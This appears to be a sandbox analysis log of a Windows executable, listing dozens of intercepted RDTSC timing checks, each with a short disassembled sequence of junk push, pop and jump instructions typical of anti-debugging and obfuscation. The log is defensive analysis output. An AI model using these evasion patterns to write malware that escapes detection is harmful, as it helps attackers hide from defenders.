Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10F4147 second address: 10F4172 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push ecx 0x0000000b jmp 00007FB16943CC9Ch 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 je 00007FB16943CC96h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10FD1F8 second address: 10FD23E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 ja 00007FB168B06459h 0x0000000d jns 00007FB168B06463h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10FD096 second address: 10FD09E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10FD09E second address: 10FD0A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10FD0A2 second address: 10FD0BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Dh 0x00000007 jg 00007FB16943CC96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10FD0BC second address: 10FD0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 10FD0C2 second address: 10FD0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007FB16943CCBCh 0x0000000d jmp 00007FB16943CC9Fh 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1104D27 second address: 1104D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FB168B06446h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1104D36 second address: 1104D68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB16943CCA6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1104D68 second address: 1104D6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1104D6C second address: 1104D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB16943CCA1h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1104D87 second address: 1104D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1104D8B second address: 1104D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11050AC second address: 11050CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06456h 0x00000007 push esi 0x00000008 jc 00007FB168B06446h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11051E9 second address: 1105208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB16943CCA6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1105360 second address: 1105368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1105368 second address: 1105372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1105372 second address: 1105378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1105378 second address: 1105380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11054BC second address: 11054E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jne 00007FB168B06446h 0x00000012 push edx 0x00000013 pop edx 0x00000014 jbe 00007FB168B06446h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11054E9 second address: 11054ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11054ED second address: 1105518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007FB168B0645Ch 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1105518 second address: 110552C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Ah 0x00000007 jl 00007FB16943CC9Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1106158 second address: 1106185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB168B06459h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jnl 00007FB168B06448h 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 110A2E1 second address: 110A2E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 111861E second address: 1118647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB168B06455h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jne 00007FB168B06446h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1118647 second address: 111864E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 112FD32 second address: 112FD3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 112FD3D second address: 112FD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 112FEA4 second address: 112FEC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB168B06458h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11488D8 second address: 11488F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB16943CCA9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11488F5 second address: 11488FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11488FB second address: 1148901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1148901 second address: 1148905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1148905 second address: 114890B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1148A57 second address: 1148A73 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB168B0644Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FB168B06466h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1148BCE second address: 1148BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1148BD4 second address: 1148BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnl 00007FB168B0644Ch 0x0000000b jno 00007FB168B06446h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1148BE5 second address: 1148C2D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB16943CC9Ch 0x00000008 push edi 0x00000009 jmp 00007FB16943CCA8h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push esi 0x00000015 jmp 00007FB16943CCA3h 0x0000001a pushad 0x0000001b popad 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 114D2A1 second address: 114D2A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 114D7D8 second address: 114D7E2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB16943CC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 115072F second address: 115075C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06450h 0x00000007 jns 00007FB168B06446h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FB168B0644Bh 0x00000014 jo 00007FB168B0644Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 101B159 second address: 101B15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11502B2 second address: 11502BE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB168B06446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11502BE second address: 11502C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 11522F0 second address: 1152315 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FB168B06476h 0x0000000e pushad 0x0000000f jmp 00007FB168B06454h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1152315 second address: 115231D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD00D4 second address: 4AD00DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD00DA second address: 4AD0166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ah 0x00000005 call 00007FB16943CCA9h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f pushad 0x00000010 mov ax, 6DF9h 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FB16943CCA4h 0x0000001b sbb ax, 5308h 0x00000020 jmp 00007FB16943CC9Bh 0x00000025 popfd 0x00000026 mov esi, 083FB57Fh 0x0000002b popad 0x0000002c popad 0x0000002d mov dword ptr [esp], ebp 0x00000030 jmp 00007FB16943CCA2h 0x00000035 mov ebp, esp 0x00000037 pushad 0x00000038 mov cl, 50h 0x0000003a push eax 0x0000003b push edx 0x0000003c call 00007FB16943CCA9h 0x00000041 pop eax 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0D81 second address: 4AB0DC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, B1E3h 0x00000011 pushfd 0x00000012 jmp 00007FB168B06458h 0x00000017 adc cx, 1A28h 0x0000001c jmp 00007FB168B0644Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0DC2 second address: 4AB0E38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB16943CC9Ch 0x00000011 add ax, 67B8h 0x00000016 jmp 00007FB16943CC9Bh 0x0000001b popfd 0x0000001c pushad 0x0000001d mov di, cx 0x00000020 pushfd 0x00000021 jmp 00007FB16943CCA2h 0x00000026 add cx, 2218h 0x0000002b jmp 00007FB16943CC9Bh 0x00000030 popfd 0x00000031 popad 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov dx, 2D06h 0x0000003c mov ebx, 257E1392h 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0E38 second address: 4AB0E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0E3E second address: 4AB0E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B0011D second address: 4B00121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B00121 second address: 4B0013D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B0013D second address: 4B0018B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB168B06451h 0x00000009 and ecx, 0542E266h 0x0000000f jmp 00007FB168B06451h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB168B06459h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A9012D second address: 4A90132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90132 second address: 4A90141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB168B0644Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90141 second address: 4A90145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90145 second address: 4A90160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ecx, edx 0x0000000c mov ecx, edi 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov bh, cl 0x00000016 mov di, 9562h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90160 second address: 4A901D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FB16943CC9Eh 0x00000013 sub eax, 5603E728h 0x00000019 jmp 00007FB16943CC9Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FB16943CCA8h 0x00000025 sbb ax, 1988h 0x0000002a jmp 00007FB16943CC9Bh 0x0000002f popfd 0x00000030 popad 0x00000031 push dword ptr [ebp+0Ch] 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A901D5 second address: 4A901D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A901D9 second address: 4A901DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A9020C second address: 4A90210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90210 second address: 4A90214 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90214 second address: 4A9021A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0ACB second address: 4AB0ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0ACF second address: 4AB0AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FB168B0644Ch 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0AEA second address: 4AB0AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0AF0 second address: 4AB0B1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB168B06455h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0B1B second address: 4AB0B79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FB16943CC9Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov eax, ebx 0x00000016 pushfd 0x00000017 jmp 00007FB16943CCA9h 0x0000001c and ecx, 6C67B446h 0x00000022 jmp 00007FB16943CCA1h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0B79 second address: 4AB0B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0B7F second address: 4AB0B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0B83 second address: 4AB0B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB06B7 second address: 4AB06BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB06BD second address: 4AB06C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB03CE second address: 4AB03D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB03D2 second address: 4AB03D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB03D8 second address: 4AB0448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB16943CC9Ah 0x00000008 pop ecx 0x00000009 mov edi, 227D2636h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], ebp 0x00000014 jmp 00007FB16943CC9Dh 0x00000019 mov ebp, esp 0x0000001b jmp 00007FB16943CC9Eh 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FB16943CC9Dh 0x0000002a sub si, 7246h 0x0000002f jmp 00007FB16943CCA1h 0x00000034 popfd 0x00000035 jmp 00007FB16943CCA0h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC0289 second address: 4AC02F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 11EEh 0x00000007 movsx edx, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FB168B0644Ch 0x00000016 sub eax, 5DE6AA38h 0x0000001c jmp 00007FB168B0644Bh 0x00000021 popfd 0x00000022 call 00007FB168B06458h 0x00000027 mov eax, 2D0394F1h 0x0000002c pop esi 0x0000002d popad 0x0000002e pop ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FB168B06458h 0x00000036 rdtsc
